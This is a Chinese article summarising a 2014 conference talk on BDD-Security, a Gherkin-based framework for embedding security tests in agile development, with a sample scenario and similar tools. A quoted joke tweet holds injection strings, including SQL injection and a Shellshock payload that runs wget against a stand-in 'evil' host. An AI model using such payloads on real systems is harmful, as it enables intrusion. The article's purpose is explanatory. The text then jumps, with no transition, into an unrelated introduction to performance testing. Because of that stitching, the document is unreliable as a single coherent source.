ContinuumSecurity创始人Stephen de Vries，在Velocity Europe 2014大会上提出了持续且可视化的
安全测试的观点。Stephen表示，那些在
敏捷开发过程中用于将QA嵌入整个开发流程的方法和工具都能同样的用于安全测试。BDD-Security是一个基于JBehave，且遵循Given-When-Then方法的安全测试框架。
传统的安全测试都遵循瀑布流程，也就是说安全团队总是在开发阶段的末期才参与进来，并且通常需要外部专家的帮助。在整个开发流程中，渗透测试总是被安排到很晚才做，使得为应用做安全防范的任务尤其困难且复杂。Stephen认为安全测试完全可以变得像QA一样：每个人都对安全问题负责；安全问题可以在更接近代码的层面考虑；安全测试完全可以嵌入一个持续集成的开发过程中。
为了论证QA和安全测试只有量的区别而没有质的区别，Stephen展示了C. Maartmann-Moe和Bill Sempf分别发布的推特：
从QA的角度：
QA工程师走进一家酒吧，点了一杯啤酒；点了0杯啤酒；点了999999999杯啤酒；点了一只蜥蜴；点了-1杯啤酒；点了一个sfdeljknesv。
从安全的角度：
渗透测试工程师走进一家酒吧，点了一杯啤酒；点了”>杯啤酒；点了’or 1=1-杯啤酒；点了() { :; }; wget -O /beers http://evil; /杯啤酒。 要将安全测试集成进敏捷开发流程中，首先需要满足的条件是：可见性，以便采取及时应对措施并修补；可测试性，以便于自动化，比仅仅简单的扫描更有价值。Stephen发现BDD工具族就同时满足了可见性及可测试性，因此他开始着手构建BDD-Security安全测试框架。
由于BDD-Security是基于JBehave构建的，因此它使用BDD的标准说明语言Gherkin。一个BDD-Security测试场景如下：
Scenario: Transmit authentication credentials over HTTPS
Meta: @id auth_https
Given the browser is configured to use an intercepting proxy
And the proxy logs are cleared
And the default user logs in with credentials from: users.table
And the HTTP request-response containing the default credentials is inspected
Then the protocol should be HTTPS
BDD-Security用户故事的编写与通常做法不太一样。BDD-Security说明页面上写着：
本框架的架构设计使得安全用例故事与应用的特定导航逻辑相互独立，这意味着同一个用户故事仅需要做微小的改动就能用在多个应用中，有时甚至无需修改。
这也说明BDD-Security框架认为对许多应用来说，有一系列安全需求都是普遍要满足的。也就是说你只需写代码把已有的故事插入你的应用——也就是导航逻辑中即可。当然，必要的时候你也完全可以编写自己的用户故事。
BDD-Security依赖于第三方安全测试工具来执行具体的安全相关的行为，例如应用扫描。这些工具有OWASP ZAP或Nessus等。
Stephen还提到其它一些有类似功能的工具。如Zap-WebDriver就是一款更简单的工具，不喜欢BDD方式的人可以考虑采用它。Gauntlt与BDD-Security框架类似，同样支持BDD，只是它使用的编程语言是
Ruby。Mittn用
Python编写并且同样也使用Gherkin。
随着浏览器功能的不断完善，用户量不断的攀升，涉及到
web服务的功能在不断的增加，对于我们
测试来说，我们不仅要保证服务端功能的正确性，也要验证服务端程序的性能是否符合要求。那么
性能测试都要做些什么呢？我们该怎样进行性能测试呢？
性能测试一般会围绕以下这些问题而进行：
1. 什么情况下需要做性能测试？
2. 什么时候做性能测试？
3. 做性能测试需要准备哪些内容？
4. 什么样的性能指标是符合要求的？
5. 性能测试需要收集的数据有哪些？
6. 怎样收集这些数据？